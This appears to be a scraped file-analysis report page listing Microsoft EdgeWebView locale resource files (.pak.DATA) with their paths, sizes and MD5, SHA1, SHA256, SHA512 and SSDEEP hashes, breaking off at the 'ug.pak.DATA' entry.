SHA512 e7736dda19081c897ebccaca8f9cddc058daf8c1be288b6b6d7b2579bc99eddda16b8d4ff39ef65b8295893ff3219ba82672ac35c08f1c1073107e4cbd6a6061
SSDEEP 24576:cvBQGz8Vov9sHBySQikiykHC1gylLMcEUM597VkWvJGE80mv4kmGuc:c1z8YTdK9iPMqMz5k2G1XVuc
MD5 SHA1 SHA512 SSDEEP

Submit Download

km.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\km.pak.DATA
Size 2.3MB
SHA256 b8cd96843ad300c84187cb9b1e20c0496203ca775f8a93abef8a5abbda3c02e6
MD5 347d0578938e7ce20cf3a96de1a279a8
SHA1 90e50ad7a32918f2851579b531b1e7dc03652041
SHA512 adda153d18638a0dd2ff795ae2915ab69fcc1b11b42063a41ee7dcefc4218bc8e95d9f161effe30a0db9b4f177eda2bf6fd90e7a61a94c96f140d7c49563efdb
SSDEEP 24576:7/9Uvje0o2vtOerCuUGkKVgJNwDRs6EXu9nraCvbCKQ:j50o2vt7/gLwDRs67nra0bO
MD5 SHA1 SHA512 SSDEEP

Submit Download

kn.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\kn.pak.DATA
Size 2.3MB
SHA256 7b22025e2541b83aeb93306c28fbf22980e688ef951ebd40fe00bb61937d3716
MD5 c93dce18760604b4261f2f9d37b9ad2e
SHA1 fb21e6fb22730a6d3a97da63ebf6a88bbb10aa0d
SHA512 a1d5e6fe5caeaa18d15a61494cabf9cb352bd713465a76badba6b7370e04c2193b53c805da6ffc4aceea9b49f9d848d77307e921084a98b579042c6ff5e42028
SSDEEP 24576:godw1Nf1u8cBjtPu2gVlwviNJ+O7CYrw1L5n2p:gom1Nfw8chtbgIK7+mE1Lh2p
MD5 SHA1 SHA512 SSDEEP

Submit Download

ko.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\ko.pak.DATA
Size 1.1MB
SHA256 952ba22f93cf17b3630aadd6c142568fc9f141e6f736f441cf61d74de81db538
MD5 e56db99bbef90a19c90ed5f38c51d000
SHA1 946dde20fb9e0b19557c5763baa4cd6c7b92e73e
SHA512 36e1ddd38b3b9210f8362dad03e055c4cdcf46ad6aa82483360e2539337919c5d0c61c5a889c1518b9b053409d731774ac4b31e616c76cca17349a38db95977d
SSDEEP 24576:qNv9NKImQQ7ME73PBkUSb3EXxkjSIJiZE+jDkh9mGpVj2AWN:qNdQ4+/BS3W65Kjch9ri7N
MD5 SHA1 SHA512 SSDEEP

Submit Download

kok.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\kok.pak.DATA
Size 2.0MB
SHA256 c79dfde362ee452e3ab11789dc392541598d2f3222818e72f0b712b4a8b100b8
MD5 776ff30a8b7eb6adfe38b70ad34ec156
SHA1 55d988a5df7f0f0587c22e02de2eeb30770b7663
SHA512 1db99771de1d731f6329fe3496d27f23e0fd8b2445b434e779b7ab792bce1b7d000c51bb917fcf24aff493bd94bdc4b3c009ae09a8c557fa62a94e396222bd77
SSDEEP 24576:zjSaSyS0r26/Fps/QDSn9gM/DW3fik74zhy1STObXPtP0Es8fyHEFX:zjzuP6/FpsSC9FY5Mz4zbft0h4
MD5 SHA1 SHA512 SSDEEP

Submit Download

lb.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\lb.pak.DATA
Size 1.1MB
SHA256 dd9239cee5973cf64ace77ef054360a9295abc746eec379ea5836a4e21b2a867
MD5 6424f2a26b3e8627f26eecb8f5f81eb1
SHA1 22062a600e6dad7eae7ba8c2097f9c0618a1d68b
SHA512 42f85c73f548ec1d40b93aecb19900b63535576a8c80a1b8af08875685814787f5d1c7e810314feda46dc527ce5ff5f8f23c5bf866e69c38930e56a0d8cecd2d
SSDEEP 24576:uw2YfKcOrYNwGMO0zHXJN2oG9FoZHnt12aFd5BsqLZ9ihm0d44eHSOhb9b:bKxrY2GMO0juzYHnt1pFtTLZYE0UbB
MD5 SHA1 SHA512 SSDEEP

Submit Download

lo.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\lo.pak.DATA
Size 2.0MB
SHA256 aeb68443bbb908013f7984278f9fdb011426a5edb87065bb3a4d722c957948ca
MD5 6a9275f2299b9f106cb835165f9da181
SHA1 8b74a866ca5b94349aa8109f8a82eec1a3318b2f
SHA512 0045f6b0c1c0de2d628d1fa83fc0f0b3572eeb19553f53d8aa2b8876ef66859d5b389eb3408a2b4580b987f4e7cfea0e0c3da7fdd0b376c62b373415235942de
SSDEEP 24576:22vem814Vq4nyAXRSKyPqak7H3uKz6yIuLKB8LEOjU:pvdny3RqFbuAorrOI
MD5 SHA1 SHA512 SSDEEP

Submit Download

lt.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\lt.pak.DATA
Size 1.1MB
SHA256 ddcc4e82915bf2c7e2199719f41b7a8a6cc678e233f419e07950e9748d699d2e
MD5 c4f9d7ec12362b03890bdde8a7113a81
SHA1 f6bd3d3c28f3872564682f742278477194b4f4da
SHA512 0f0f2650291bd52c97d60e6f3cedd70a851ed9df4c1add224341375a1999ec65c54e6732c75197a20cf960191d170565a3a5e3d5c21a8f089c065f5e61eb0ac6
SSDEEP 24576:BWcxy2oxSzKreTCV15wWi6xesNEVOaxum28Ozh7hN8/ay6R5hoiFOvBl3FBljA:QUVJmyc8H6xeTVpxe8qFN8S3miFOv50
MD5 SHA1 SHA512 SSDEEP

Submit Download

lv.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\lv.pak.DATA
Size 1.1MB
SHA256 e3e164dbbe762da77a3bb3f97a5b0854e147e7c1f6f8f6ecf93019254ece3424
MD5 b1cf4e44dac25d71e94d8ec3ccc4ac23
SHA1 2481e6cc5f83d594dc16903c33e1aa9074600736
SHA512 d9f5607f0e02147377bad0560c3a4301dfa5aeec89a9668a34073e04c508c8ce4d8a6addbdfb8925cc8814c3aa9bb32c70b40f158680296cb55b6bb8c94e2162
SSDEEP 24576:AIVtNp5rK+D/uTcq6daQzXygSTVtNt0Dm5KS8jnuiqCe5/D:pNpMW/uGdzDSnr0XS8qD/D
MD5 SHA1 SHA512 SSDEEP

Submit Download

mi.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\mi.pak.DATA
Size 1.1MB
SHA256 c31119df86ae43216e38733854d92226206c4c3ed9a8614100f4d02cc4d92660
MD5 5f1d7056a41b231286298e8bf5984a6a
SHA1 7bc37aba114797065684e9b7c2120cb067afaf1a
SHA512 7023f776bba18a4385299238913a226cd43f729c773265e12edcfea37375e363bb871cb42ca6cfaaa9408f2687fd993fdc482ef0bb3fa8845b48a55c1776c0df
SSDEEP 24576:Icvvh6x4N2EoalauzsmfTFaGd40ACFY/efZn3Mn/qVV:zvMxtaYuzbpdvOQ4/qP
MD5 SHA1 SHA512 SSDEEP

Submit Download

mk.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\mk.pak.DATA
Size 1.7MB
SHA256 2a3dd863aac2e7cde8cd7844582a74db8f51cb7df57d78df8a9d4946d4368072
MD5 90800226973e8c7bd8444a90b557449e
SHA1 921421566a878a883bf24ba9dfa6e934a272843e
SHA512 92f1bfa9b8b262cbbfbed88dc1287371c1b6591848a1e7d2ea6aa2d450f052e59ac8f3ac92fc7b0bee00dc415b5c6e64c7fba3dd5beca11441164249f251a7f3
SSDEEP 24576:oRtd4Z8Q+P3Iae8VBv+/+hPY4Ktm7EqR9hFbhZ3B5gMYc2:oRtdq1wg/+hYZtmQqRzZge2
MD5 SHA1 SHA512 SSDEEP

Submit Download

ml.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\ml.pak.DATA
Size 2.5MB
SHA256 47a1c9db0699325474f4f137955a0c9457f9a610ae1c5bbb238fc6b1187ec8c4
MD5 51a1ce3812d3554ad5d8c31ac29f0258
SHA1 c9c10cafd804bfb3a799a7b6fcff22df74b45c65
SHA512 cba9398ea1bbd14b9bbfc203ef2d492c68752516ecde957b198c1c76daeb5e9d71a530f8aa9f9109c46286b219f6ce155848cb8afc506ea600e9e31692f07f92
SSDEEP 24576:+L60Ug3G+/6BsRuyXB5ro2qOyOdbjy4K5CzZ/F7FVJKqGZed44fQRnrjCu90CQ7l:+Lr24h8wzqlOdjsuZtZXKUXe6
MD5 SHA1 SHA512 SSDEEP

Submit Download

mr.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\mr.pak.DATA
Size 2.1MB
SHA256 2bff680d8f7bb18d9270f1bd0f4406e4b4b7c5d77dfd1188f6719813eb0be232
MD5 4a43f957d4d0f5b62a6b3596938718e2
SHA1 1c0373c923a10fccf418e31ffec08e27b9c4f70a
SHA512 6f914602d4a1eea0ec09109b908510337e54502281e67fb8f817b6b26f472c8bb18d864a1e5af9adec1a7df86109ee4701e4dfa7f947808b007e2cb0cce10789
SSDEEP 24576:+97fUnyvYnEEcQpRvdYk6tBeZmPudpGd2DcvDdTZZUdmTXYMhvj:+pxvHm5FmPeod2mZZcWXYM1
MD5 SHA1 SHA512 SSDEEP

Submit Download

ms.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\ms.pak.DATA
Size 1012KB
SHA256 70c69f529609c178bd1c6595228d57df0546fc7512a76bfcf7f53eb37fc74233
MD5 d49870f71f7d92b71c527cc2002bb504
SHA1 dc925cd54d6a64c6e8533be340965491b69ae391
SHA512 8922834bc1a948c095a57e6d63904c7571f973ddb828796781034bd7aabce52f76735f0c681df9215e7b76377930d593f31d25d7bcff4ea55dc5eb6f29548b96
SSDEEP 24576:RJ754Syrg0enFOc05rsi6ulRn6zzMg40FdaSvrpRadaspdG:Rh54Syrg0ecrsBuHn6zzMgpvvr/aMF
MD5 SHA1 SHA512 SSDEEP

Submit Download

mt.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\mt.pak.DATA
Size 1.1MB
SHA256 1d3584be381972f5e4e65553c220fb8077ee777f7697902b26d23b48660234f7
MD5 fd79ace03ef6930662ac3fe6b6f5518e
SHA1 74c0e16dd9cbfb29518b19f6dbfb17756e404843
SHA512 bbeff09a297ef59b47ddaea923774f293a65d41edacc44d620c4ef6c3678d2d8af7cf595c11645ee39d8a440ed55cb01cceaf04d8d5556a67c1710225fc451c2
SSDEEP 24576:R7O9OJ1OktmdON7BsZMR/zzUIbZ5ZTbc3xIOEy7VuSIsD+W:lO9I1OPd6yZaLzLjZTbc3Kzy7VuSIsD3
MD5 SHA1 SHA512 SSDEEP

Submit Download

nb.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\nb.pak.DATA
Size 975KB
SHA256 3b4a4850f352f70c615b847ec299ed33b7fc4694a96a4d34456849f0cf67159c
MD5 6db6800b45b59c8c96168b6ec4a621bf
SHA1 453a75c06c39091d066ded7e8f6cc4c8caacd84a
SHA512 8992fda6f6aab74e1430cd5a59e4d6662c6a8fe777620bb9b9fe583f8aec241801c912ac165f08ba2f20c60dbc87e288a4d57b9e92c475a591dcfabdc4af617b
SSDEEP 24576:NzUPzGvWoHCK7Vpu6GRW8/7ujQMIGZJwCIoDs6LSRc+kP:BuSu8CK7VpuBMIEwUyqJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

ne.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\ne.pak.DATA
Size 2.2MB
SHA256 c2428c2399bd6d1dec3057d9698e5e3d3ed7aff54eb321b65582c3f8672b19fe
MD5 888e6daadd5a7419c8c558c3d0c33954
SHA1 c9f670d67a52f35f1ce7dd106967911e11e4c72a
SHA512 164b93e62346952b5c0e2cf6ff1598844059f02a6311cbebbfcf9bdaa237503c1f809e27fc4720ef179ca511c57eb909195933392f47b4fa8d7b477cc1fa77bc
SSDEEP 24576:aVPlzW8dZjAosMOksZ0MiZNMYB7QLFLXv9xn5/Y:aNlipo8ksyZN75QLFLX/C
MD5 SHA1 SHA512 SSDEEP

Submit Download

nl.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\nl.pak.DATA
Size 1.0MB
SHA256 2a053fe458de2bd5f61c416802a2ddea2315405e6e5f59fe08a5d2045ce72ba1
MD5 1dc8201da6d3fc9a6f9d7b875f988240
SHA1 2c3ab8d696b4823d85a41b89d54c6c5e2226e692
SHA512 8b224e8ae38a47ab8769db8ced639c64d314a877813d8c49f576c6ca7281748edab612768ca00ec2ee94a5bfac85638ade07c2c4aba6f041e606dfdf026fff26
SSDEEP 24576:mAeO/zYAi9+hQiIZXdQ0xe6M+ruLpRu+6uHG269ZMDqMjo:mAeaiIQ7Xq0z3ruLbjXHDfj8
MD5 SHA1 SHA512 SSDEEP

Submit Download

nn.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\nn.pak.DATA
Size 979KB
SHA256 220ac7619512520bef52a9fb02ee154d9ee7c54e98df23ec61ac1cd730d2e3c2
MD5 8b8a958a5a9b3a62c30ea9746b25cee3
SHA1 153e4c935b723604d63732ec561c057fbb691bb9
SHA512 184086d72f66c90b513438328afd4b45caafb42dce6c2eb76f1c53deac2708102f5103985f1a8617a9340e56187287f69cd12be064f11fc5ecd0bad63e197549
SSDEEP 24576:LZfH4mvcUeRgGpdSPmoGoN/CyMt7W2nRWMyAdS6/ObJW7:LumvcF3LofRMtK4yAkIONE
MD5 SHA1 SHA512 SSDEEP

Submit Download

or.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\or.pak.DATA
Size 2.3MB
SHA256 8d2e5090de4f02f9fff92bb15254bddaa3e41521535ff0d598867d875f5a3e9e
MD5 5b3a9e7907b741c15287791e5c0e5099
SHA1 3726f0d96ac40595f14a840c9d63b1ccd9f66197
SHA512 918e16d14cfedf294ed078f5cf11cd4adc7da5f4ab61590542ba17b100df120e759ee2244353b13590245aa4bc27792f106ae9405a1b48dbb9a89f6c8c4e8860
SSDEEP 24576:vLVExblRlsDiZDgU4kge/5NKpu73VMD8XXQL0P7hHys0DBw:KblRO2DgU44B+qMwXXQL2hcDO
MD5 SHA1 SHA512 SSDEEP

Submit Download

pa.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\pa.pak.DATA
Size 2.1MB
SHA256 df2419b269c44eea5bf0b821a9f6e928b1238af7c80ce9698afb3f465bbaafd0
MD5 f46b19cf592c1f1c0acb87655355cd03
SHA1 ea822bc063d66c03fb8fb8fdabb58134cb993f3a
SHA512 4dc883e6bf602ef0922cd4b79e21bcc99326756469b3c27395fcda83b40073447760678fcd6bbd0b6fd6a95092f5141b3786dd6b8da3058330a6e34d8f33281d
SSDEEP 24576:lF2VNvWFHbKiXdhYOJeTD0uWc12ZH5xMjBXrGMQNM/EqK:lF2VNvWduYwTwcURnEB7G7im
MD5 SHA1 SHA512 SSDEEP

Submit Download

pl.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\pl.pak.DATA
Size 1.1MB
SHA256 05123946a12f27b900d73f685d4f63953e6ca115a4224fe1fcf04674390df32e
MD5 3552f4ca9dff0697f30e66d1780cee08
SHA1 bd09d762b0e11da6fd34a1ad2e7dbd55632683e5
SHA512 19f6b55c4215518a7e1bb09934e1539d848cce229fa0efb8363fa5c1caac400ec39e04dee22bfbf2068f8cbfc4a5314377dadd8bb58fa677407b50000ae9b34f
SSDEEP 24576:9K9rEf3Qf1p5rY1cI0rK5Mhy1xZ+VqnWVTlYKobo0:YAz1cT2+yoVWW5l8t
MD5 SHA1 SHA512 SSDEEP

Submit Download

pt-BR.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\pt-BR.pak.DATA
Size 1.0MB
SHA256 d01ab789113a37bc3090cfcc87be6e835baeae0bb5aca305ac66f89bb60e8acd
MD5 e869c301435b11c6d0cfc1c022ffdec2
SHA1 3164314823fffd55e154f29c3aa74fcfef2a68e4
SHA512 c870f20c680da7cf818ee5102681d7dc5dbd10599d03dda48a83147a8dd74376d1705b54b1b75056626d70fb168912850e82722c99ab5e4c0df0524149884697
SSDEEP 24576:Ng1pu3uGO6SFu4yHVGnGCpBe+AxartKyCJoVNFsN:NgvuYFupV47pBe1aZKlyNFsN
MD5 SHA1 SHA512 SSDEEP

Submit Download

pt-PT.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\pt-PT.pak.DATA
Size 1.1MB
SHA256 b7f066f4aae91061afe1d2097cb7f9c26df05fecfc0b2ac5a5cbfc0431ff08f1
MD5 77851fac4f563584a34fe9470744a355
SHA1 f6ae1c146cc77093ac034384beb470fe3c51cbcf
SHA512 eb10ac2ef1437f5da1e349e04cf129d6139d05cdc4255ad2f1269634e131dc07056a084ce261bb7ade3460901c7c15bbebc1f4dd9468f9a65612eefc85cabaac
SSDEEP 24576:ohjYEbD4ISMEtEmPLcFuWO0MKssPNcEivqUbCrG67iij3BKOY3:ohkIDSFPPsHPNcgUOG6FbIB3
MD5 SHA1 SHA512 SSDEEP

Submit Download

qu.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\qu.pak.DATA
Size 1.1MB
SHA256 3a09bf431a7169f2a8922fc461b04124d6b77400445e9e8cd39e2be0c4d507d7
MD5 e2c6684e92a041c9ee453972e6ee3cca
SHA1 5dcbe30e03f4b94c4c8da85463e78fc08533b07b
SHA512 e1302fec8c79def18e37991e4baf5e5f6db3ee2281ead05f56e5dfe7484513244588315cff49c6b9a4af9392c66f9a56e966a34245158ca230d82415437ac59d
SSDEEP 24576:8+I3e4Ut7dz5xH/fPhPrKhTM2dPsaYxkR2XdskIpo:yO4s5xZPrKG2JYbD
MD5 SHA1 SHA512 SSDEEP

Submit Download

ro.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\ro.pak.DATA
Size 1.1MB
SHA256 8c49e3051788e3b2503d6b2787723add3ef4dcf2479730698fdae5bfa023dacf
MD5 812cc1eb4c36e51e884c02a6781ebc22
SHA1 d9c69addca535f1a1f545bea3a2a41c84f996e11
SHA512 5a4352a9a2ed94a6800ec44bc57f098da9020a357742b033899e2271471dba2c53678ec7c2412b024675e044588ce00e2bd6fc32b5be7b9f3c36c3372f7d33de
SSDEEP 24576:Eu0w/Aeu84C4NCvRy5o91OP7EoLfZwaDiYdtabG00MzeSC0ysVnflduUuVBRTlHu:yQa5C4NCvl91II0fZwaDiBG00MSSysVx
MD5 SHA1 SHA512 SSDEEP

Submit Download

ru.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\ru.pak.DATA
Size 1.7MB
SHA256 5291ea7ee3a48cd35efb53a744b2f8ba6160e8bf4efa085390c6744948d9084c
MD5 fdd85a7de757c0af7fc64a9d2f757a42
SHA1 6458465a94f10561e0b2e4a76461ed96e9e7d47f
SHA512 3ee625b764575b4d81accebb22fa9f2e8a485a7ea721e4c6e592f62cee6ab1ea9ce783b4de4f4fd67fa20ff308cb0c29bc7b436a078757ae937248639c2da1bc
SSDEEP 49152:1b+t3tvtLMfEQLQzsnAP/WH8mAJmpSpwTEY5Z:1b6tvtnRtHwwBwTt7
MD5 SHA1 SHA512 SSDEEP

Submit Download

sk.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\sk.pak.DATA
Size 1.1MB
SHA256 cc315422e87141a0604bb9dbe0a51cadd31085642c669834fe4693162b7a2544
MD5 2dab8c639cf83d9c3e153121a9358d2c
SHA1 b847c74a9f75146ea3932c6c81189180dbe7fbad
SHA512 2e27e6d7cc9bf7e478a782caef6c75aac6ab4dfbc5e9374dd58e02d1da7d8eb0d96985c65045df2d997a647be970cbd3fbb1161a2c9d1305613c695d9a5c0de4
SSDEEP 24576:Fm/PV8FRQeQMmHjaD9DcPNvGALBpPE1U+F6PVjkYLOBR:Fm/PV8FlhcPRtLBpPgU+F82BR
MD5 SHA1 SHA512 SSDEEP

Submit Download

sl.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\sl.pak.DATA
Size 1.1MB
SHA256 423da81f14c34f50b9cb00fce498b4d8352d221fb7582271ea376f0b82eb7906
MD5 e4ae342bde1fe951356b23eb8d2ff9bf
SHA1 3db1cba3c2bd79451f5295f68752817837fa6f5c
SHA512 f233efaf5479890d06f417d091c7c342b86b4621fd9b898d9009ed7eef06ea4b36aa8e1678bd656efb97cd3fb534d99fc651123a355041b96d530656429b5fae
SSDEEP 24576:yKbytQTSzJWQ/QiaQjkD6X2Z1x6I5+lj31TUkiFpjHh71XsbKNBUS1:y7tQudL4ivTljdUXFpjB71cuNBB1
MD5 SHA1 SHA512 SSDEEP

Submit Download

sq.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\sq.pak.DATA
Size 1.1MB
SHA256 6ad5d4d1cc1a424b9ea3d097e852bbb91ba24d89c36489eb84356572fff517b1
MD5 cbbde077afc23e06d7117fbd4826f32d
SHA1 405fe1c44e6acbb94d2ada3ef3df877e048a8c89
SHA512 55890760761d6504063f43c574971c33031b8b489845943b6c35bb48cefde77340c5ba9307230c1c5be92edc417b0f9d7bbb7fb058d700641f57505f9b7b5a47
SSDEEP 24576:lQ2driVeQNiKFIuozdPyCHm2W5R9yfhn/ZARiYBva6uPA/4xhrsD:KFVeEisIuY0Cp1/YiL6uPA/4xhrsD
MD5 SHA1 SHA512 SSDEEP

Submit Download

sr-Cyrl-BA.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\sr-Cyrl-BA.pak.DATA
Size 1.6MB
SHA256 2e635cdfadf76c86b821fd1383c62dae82e3eb05628b90245c66ee986897df21
MD5 5053afcd32171aeee33279b3a5e3fc97
SHA1 3e8491913a7fd9c9e75c5910df8bc396c281247a
SHA512 0eaee79cd5c51654c3a5ecf3b0a4dea183d718412a9ab50a341570857ff95a32ad77e3c0fa9c390a1e747570f4ed847ccf9a803a4fc2b97b39c5129ffc794a85
SSDEEP 24576:cbeDcc0ZVPsqP5w9lY2hpLMuCGssFUO13CqN9DvseJVmDJCCk8hmSQ:cbeDcHzFP5w9FBCbMBDvsGsCihbQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

sr-Latn-RS.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\sr-Latn-RS.pak.DATA
Size 1.0MB
SHA256 88ad892ffdee69635be4a3242897b5dbc829e53a51418e625ab4638f60dffbaf
MD5 2f6da403b64b503b19bd63a0b2dc24d3
SHA1 a50792a5cff2ae5d66d360dbacc35d48090b02b2
SHA512 f5f7d92fedf742710fbcd426cc24bf03c821adde73cfaa8fd72c5c43d739b528c9380736657983d42768892c4d0accb2e35cfa19ecb6e6dca47a8fa113e3a7aa
SSDEEP 24576:fmwk0KRcnQODKFX5+NB4/XpLPWrRnmb/zsOqzp92:fC0KR0RWqNCPWro/zsVpo
MD5 SHA1 SHA512 SSDEEP

Submit Download

sr.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\sr.pak.DATA
Size 1.6MB
SHA256 5873edf716b8e70604cb95211d7aefb5b7d0783774131b033c6b1e8150a79ff5
MD5 9bb6c24ddb1e0b884cb5930a91c5e28e
SHA1 ec6be315fa710b8806663c9f09266ab3f0b203a7
SHA512 0f0aac775f0424222afc75508afe4c8b21251b7ee5e07091ac51a963ffcf54b60210bb73795853fda311d1590a27c3cf989e96e3eb8823bc3c19abffdca94a20
SSDEEP 24576:wehGlss9sTKgIWsLKWopa8VQ+SozLEY9CPOS0ZtJC3q4s1X:wehGlsrTT+WNzIGea4s1X
MD5 SHA1 SHA512 SSDEEP

Submit Download

sv.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\sv.pak.DATA
Size 1000KB
SHA256 fa302e3bf00c486be450ac238805534ab897d86a628e6b01cab895e0ac504a89
MD5 5daa50276b9be93f0ea6bf168358c7f7
SHA1 7abf2c4aa77d6b5339aa19bbbe643f08e33e9c12
SHA512 19ffe377f86385fd39904a27ec103604b01f470e69cd4e9be77834e1da72c6de5be60217bc41953144449ca102bab90bcb9ebdfa66ea7ae13376f985d6c8c435
SSDEEP 24576:s2YJ9xt+X/08ynzxEBOmO2yqEtj7lWx3dr6Xvy:s2YJWMTzxo76qEV7lWxV4vy
MD5 SHA1 SHA512 SSDEEP

Submit Download

ta.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\ta.pak.DATA
Size 2.5MB
SHA256 1162ab260e046d9e909df06b1e67db873c04068df827502aa69812cf2369de59
MD5 0807dd0cce3afbc3d8d42e8974ffeaf2
SHA1 ae2fb06c34e2a2942907d5a93717b3578e87fa24
SHA512 30ca147e7dd7ed9cf3da53fd5d94a0dbd7d2cd13b2db6652a7221689f1979149e13428c75f26625c0a0688ccba11a502c483c7e60e1fe1f9ae89cf1fa527c0f4
SSDEEP 24576:ut9zWyZJlNt7jaAeX5EYD7cc2PZ7fX9yQ8tTl/rsAq/Yz2DUm:M9zWSJlTy/pNcpPMQYTlTsAq+MUm
MD5 SHA1 SHA512 SSDEEP

Submit Download

te.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\te.pak.DATA
Size 2.3MB
SHA256 c7c02a61e5594e9fcae6b8b1dee4b3f2367685bf49f3a27204cbc346e8075faa
MD5 a353fbc6ae432ceda1ad4584bde9644c
SHA1 242b0f5dc22335daea569617db90ed037939614f
SHA512 183f3372a2443796127d4495500378b24ab8904ea6eea058742610cd7031222981275c05f5209c8c8d443f3e2fd2490236e6e91b14328cefa828d3aa5a26b166
SSDEEP 24576:KhD6jpfLh9GODdFcyU2LyNonFqLV9z3ChiNRUpvmU:jfLHdOyU2EongLjb6B
MD5 SHA1 SHA512 SSDEEP

Submit Download

th.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\th.pak.DATA
Size 2.0MB
SHA256 3ce3b3be04db7f6ac65f7fd12626469d281e4f86dd3c873617040150ee7b8045
MD5 bba37c62c62c78952f0837490ba9208f
SHA1 b38dfadb8f3666553493048fe85e455dee1c0bb7
SHA512 a67c58c99fd952c371ad4ba7d800f7814867bfe1078ddd3a412a8ea2e4eff2f8aa248849ff54857a25744057306ff4737fa9292b559e2d1f5e5441b0be8edcf2
SSDEEP 24576:JrQKO3u2GO82PXu1xcormTeCF9UcE7B+p0edFy:JUv3u2idm6g2+uyy
MD5 SHA1 SHA512 SSDEEP

Submit Download

tr.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\tr.pak.DATA
Size 1.0MB
SHA256 27f7992ef5bcdee1eeddf7d2b8902fcaf75e25794ee62c0958e1c8d24611af8e
MD5 77f82c7918160c17bd931920b87e84f4
SHA1 b48a57f34aaeb05b0c2156c526e2584876dab3a7
SHA512 1e0e256d044100e6b7c1ef026e7bf27dafdcb748af56b85e9b2e3498fc18ee0898b18a484afec9d3b2b97d5ee6d1244011d78c7126670d7131b0d985ebe310d9
SSDEEP 24576:qvzJ4NUIM2OY/u2ePOvRXh4PEvcUE9k8LvwCdOSR5gU:qvzJcoY/u2ePW2EvSUCdOSTgU
MD5 SHA1 SHA512 SSDEEP

Submit Download

tt.pak.DATA

Path C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\tt.pak.DATA
Size 1.6MB
SHA256 734754391abd0b4bb928639a1af20a7eb48ffb031fe9d7b1fc195e46ce992084
MD5 44ef405e3e8c5b18b5776a6ee6af7de3
SHA1 9a3382bef19a2720efb4bc6bc4f9db2ad65e544c
SHA512 e765ac23c37b47c04ebdb689c69b31ab69fce0e937f090d3ebbed8a744c9f6256f14ffab3310c01c848dda4513c5c2b5ee3838da707d5e7ec5079a5554d35173
SSDEEP 24576:wDcFcxCtBhh2qRe0iy49r60KlVL/glTEdLemURYtfFKdDqO:Sd8RiyyKlhgPjRY1FKdDqO
MD5 SHA1 SHA512 SSDEEP

Submit Download

ug.pak.DATA

